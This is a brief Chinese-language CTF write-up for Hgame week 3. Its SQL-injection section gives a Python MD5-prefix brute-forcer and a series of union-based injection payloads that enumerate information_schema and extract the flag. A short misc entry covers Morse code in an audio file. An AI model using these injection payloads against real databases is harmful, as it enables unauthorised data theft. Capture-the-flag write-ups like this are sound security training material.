Hgame week3 Write up—FAD18

1. web

1.1 sqli 1

一开始的 md5 绕过通过脚本实现

```
import hashlib
def md5(data):
    m=hashlib.md5();
    m.update(data.encode('utf-8'));
    a=m.hexdigest();
    return a;

b='abcdefghijklmnopqrstuvwxyz1234567890'
for i in b:
    for j in b:
        for k in b:
            for l in b:
                for m in b:
                    if(md5(i+j+k+l+m)[0:4])=='3669':
                        print(i+j+k+l+m);
```

尝试注入点，发现不需要闭合，就直接常规尝试了，一系列 payload 如下：

```
id=1 order by 1 #
id=-1 union select 1 #
id=-
1 union select (select group_concat(table_name) from information_schema.tabl
es where table_schema=database()) #
```

得到表名 f1lllll1g，接着

```
    id=-1
union (select group_concat(column_name) from information_schema.columns wher
e table_name='f1l1l1l1g') #
```

得到列名 f14444444g

```
    id=-1 union select (select f14444444g from f1l1l1l1g) #
```

得到 flag hgame{sql1_1s_iNterest1ng}

3.Misc

3.1 听听音乐？

下载音频文件后，用 audacity 打开，发现后面有类似摩斯密码的东西，破解得到 flag